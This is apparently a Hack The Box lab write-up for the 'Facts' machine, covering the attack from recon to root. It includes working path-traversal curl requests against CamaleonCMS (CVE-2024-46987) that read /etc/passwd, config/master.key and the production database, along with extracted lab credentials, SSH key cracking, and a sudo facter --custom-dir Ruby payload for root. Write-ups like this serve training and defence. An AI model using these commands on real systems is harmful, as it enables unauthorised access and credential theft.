Facts

date: difficulty: Easy os: Linux read: ~6 min
// tl;dr

Exploited CamaleonCMS path traversal (CVE-2024-46987) to extract MinIO credentials and an encrypted SSH key, then escalated via sudo facter --custom-dir to root.

contents
Facts pwned certificate

Facts – HTB Writeup#

Machine Summary#

PropertyValue
NameFacts
IP10.129.2.229
OSLinux (Ubuntu 25.04)
DifficultyMedium
Key TopicsCamaleonCMS CVEs, Path Traversal (LFI), MinIO S3, SSH Key Extraction, Facter Sudo Abuse

Overview#

Facts was a Linux machine running CamaleonCMS 2.9.0 on Ruby on Rails, backed by MinIO S3 object storage. Initial access was achieved through open user registration on the CMS, followed by exploitation of CVE-2024-46987 (path traversal) to read arbitrary files – including the production database containing MinIO credentials. Those credentials exposed a private MinIO bucket containing an encrypted SSH key for the trivia user, whose passphrase was crackable with rockyou.txt. Privilege escalation leveraged a sudo-permitted /usr/bin/facter binary with --custom-dir to execute arbitrary Ruby code as root.

Reconnaissance#

Port Scanning#

A full TCP port scan with nmap revealed three open services:

nmap -sC -sV -p- --min-rate 5000 10.129.2.229
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
54321/tcp open  http    MinIO (Golang net/http)

A UDP scan of the top 100 ports returned no open services.

The HTTP service on port 80 redirected to http://facts.htb/, confirming a virtual-host-based setup. The hostname was added to /etc/hosts.

Port 54321 was identified as a MinIO S3-compatible API endpoint. It referenced a MinIO Console on port 9001, but that port was not externally accessible.

Technology Fingerprinting#

whatweb identified the web application as a Ruby on Rails app with a _factsapp_session cookie (Rails-style encrypted session). The CMS was identified as CamaleonCMS from its asset paths (/assets/themes/camaleon_first/).

Enumeration#

Web Application (Port 80 – CamaleonCMS)#

The CMS was a trivia/fun-facts website. Key endpoints discovered:

EndpointPurpose
/admin/loginCamaleonCMS admin login
/admin/registerOpen user registration (with image CAPTCHA)
/admin/dashboardAdmin dashboard (version: CamaleonCMS 2.9.0)
/admin/media/uploadMedia file upload (files stored in MinIO)
/admin/media/download_private_filePrivate file download – vulnerable to path traversal
/sitemap.xmlSitemap with 21 content pages

Default credentials (admin/admin) did not work on the admin login.

A searchsploit query returned two local exploits for CamaleonCMS:

  • CVE-2023-30145: SSTI via formats parameter in /admin/media/upload (affects <= 2.7.0)
  • CVE-2024-46986: Arbitrary file write via folder parameter (affects < 2.8.2)
  • CVE-2024-46987: Path traversal in download_private_file (affects < 2.8.2)

Online research also revealed CVE-2025-2304: a mass assignment vulnerability in the updated_ajax endpoint allowing privilege escalation from client to admin role.

MinIO (Port 54321)#

The randomfacts bucket had anonymous read/list access, containing CMS image assets. Other bucket names could not be enumerated without credentials (all returned 403 AccessDenied).

CVE-2023-28432 (MinIO info disclosure via /minio/bootstrap/v1/verify) was tested but returned an empty response – the deployment appeared to be standalone, not clustered.

Exploitation – User Flag#

Step 1: Register an Account on CamaleonCMS#

The CMS had open user registration at /admin/register, protected by an image CAPTCHA. The CAPTCHA was a 5-character alphanumeric string rendered as a JPEG at /captcha?len=5&t=<timestamp>. The CAPTCHA image was downloaded and read visually to solve it. An account was registered successfully, receiving the client role with limited admin panel access.

Step 2: CVE-2024-46987 – Path Traversal (Arbitrary File Read)#

With an authenticated session, the download_private_file endpoint was tested for path traversal:

curl -b cookies "http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd"

This returned the full contents of /etc/passwd, confirming the vulnerability. Two human users were identified:

  • trivia (uid 1000, home: /home/trivia)
  • william (uid 1001, home: /home/william)

The user flag was read directly via the path traversal:

curl -b cookies "http://facts.htb/admin/media/download_private_file?file=../../../../../../home/william/user.txt"

User Flag: 09bf091805c0652a30abc1e82267f22a

Step 3: Credential Harvesting via LFI#

The path traversal was used to extract several sensitive files from the server:

Rails database configuration (config/database.yml) revealed the production database was SQLite3 at storage/production.sqlite3. The full database (1.5 MB) was downloaded:

curl -b cookies "http://facts.htb/admin/media/download_private_file?file=../../../../../../proc/self/cwd/storage/production.sqlite3" -o production.sqlite3

From the database, the following were extracted:

  • Admin bcrypt hash: $2a$12$9lLBXaBzcTxohKjxX08aR.WmE7qyhwpl0NGGBLbKDi6t.PB5zdJcK
  • MinIO S3 credentials (from cama_metas table):
    • Access Key: AKIA17DF21F7673B5484
    • Secret Key: w3YG1g5DEGBIy0A/XcMm4EYZR59LKd/FQT0KQidA
    • Endpoint: http://localhost:54321
    • Bucket: randomfacts

The Rails master key was also read:

curl -b cookies "http://facts.htb/admin/media/download_private_file?file=../../../../../../proc/self/cwd/config/master.key"

Result: b0650437b2208a9fab449fb92f67bc40

Decrypting credentials.yml.enc with the master key yielded the secret_key_base but no additional service credentials.

Step 4: MinIO Bucket Enumeration with Credentials#

Using the extracted MinIO credentials via Python’s boto3 library:

import boto3
s3 = boto3.client('s3',
    endpoint_url='http://10.129.2.229:54321',
    aws_access_key_id='AKIA17DF21F7673B5484',
    aws_secret_access_key='w3YG1g5DEGBIy0A/XcMm4EYZR59LKd/FQT0KQidA')
s3.list_buckets()

Two buckets were found:

  • randomfacts – public images (already known)
  • internal – private bucket, previously inaccessible

Listing the internal bucket revealed a home directory backup:

.bash_logout, .bashrc, .profile, .lesshst
.cache/motd.legal-displayed
.ssh/authorized_keys (82 bytes)
.ssh/id_ed25519 (464 bytes)

Step 5: SSH Key Recovery and Cracking#

The SSH private key was downloaded from the internal bucket. It was an encrypted ed25519 key with the comment trivia@facts.htb:

-----BEGIN OPENSSH PRIVATE KEY-----
(encrypted with aes256-ctr/bcrypt passphrase)
-----END OPENSSH PRIVATE KEY-----

The passphrase was cracked using john:

ssh2john id_ed25519 > ssh_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt

Result: dragonballz

Step 6: SSH Access as trivia#

ssh -i id_ed25519 trivia@10.129.2.229
# Passphrase: dragonballz
trivia@facts:~$ whoami
trivia
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

Privilege Escalation – Root Flag#

Enumeration#

Checking sudo permissions for the trivia user:

trivia@facts:~$ sudo -l
(ALL) NOPASSWD: /usr/bin/facter

The user could run /usr/bin/facter as root without a password. Facter is a Puppet tool that collects system facts, and it supports loading custom facts from Ruby files.

Exploitation via Custom Facter Fact#

The FACTERLIB environment variable (typically used to specify custom fact directories) was blocked by sudo’s env_reset policy. However, Facter’s --custom-dir CLI flag provided the same functionality and was not restricted.

A custom Ruby fact was created:

mkdir -p /tmp/facts
cat > /tmp/facts/exploit.rb << 'EOF'
Facter.add(:exploit) do
  setcode do
    Facter::Core::Execution.execute("cat /root/root.txt")
  end
end
EOF

The fact was executed via sudo:

sudo /usr/bin/facter --custom-dir /tmp/facts exploit

Output:

dfc4aa8e3ba88a6a63190b08d7eec8be

Root Flag: dfc4aa8e3ba88a6a63190b08d7eec8be

Obstacles & Lessons Learned#

CVE-2023-30145 (SSTI) Was Patched#

The initial attack plan prioritised CVE-2023-30145 (SSTI via the formats parameter in media upload), but CamaleonCMS 2.9.0 had patched this vulnerability – ERB template tags were HTML-escaped in the response. This was identified quickly and the approach shifted to CVE-2024-46987 (path traversal).

CAPTCHA on Registration#

The open registration required solving an image CAPTCHA, which needed visual inspection. This was a minor friction point but did not block exploitation since the CAPTCHA was a simple alphanumeric string.

FACTERLIB Environment Variable Blocked#

The initial privilege escalation attempt using FACTERLIB=/tmp/facts sudo facter failed because sudo’s env_reset policy stripped the environment variable. The successful bypass was using --custom-dir as a CLI argument instead, which sudo did not filter.

SSH Rate Limiting#

SSH connections intermittently returned “Not allowed at this time” errors, suggesting time-based or rate-based access controls. This was handled by retrying connections.

CVE-2025-2304 Mass Assignment#

An additional vulnerability (CVE-2025-2304) was confirmed working, allowing privilege escalation from client to admin role within CamaleonCMS via mass assignment in the updated_ajax endpoint. While this was useful for gaining full admin panel access, it was not strictly necessary for the attack chain since the path traversal (CVE-2024-46987) worked from a basic client account.

Path from User Flag to Shell#

The user flag (/home/william/user.txt) was readable via the LFI vulnerability because the Rails application ran with sufficient filesystem permissions. However, the actual shell access was obtained as the trivia user (not william), via an SSH key found in the MinIO internal bucket. This indirect path – from web application LFI to database credentials to MinIO access to SSH key recovery – was the intended chain.

Tools Used#

ToolPurpose
nmapTCP/UDP port scanning and service version detection
whatwebWeb technology fingerprinting
curlHTTP requests and LFI exploitation
ffufVirtual host / subdomain enumeration
searchsploitLocal exploit database search
Python3 (requests)Web application automation, CAPTCHA solving workflow
Python3 (boto3)MinIO S3 API access (bucket listing, file download)
sqlite3Production database analysis and credential extraction
ssh2johnSSH private key hash extraction for cracking
johnSSH key passphrase cracking (rockyou.txt)
sshRemote shell access as trivia
facterPrivilege escalation via custom Ruby fact (sudo)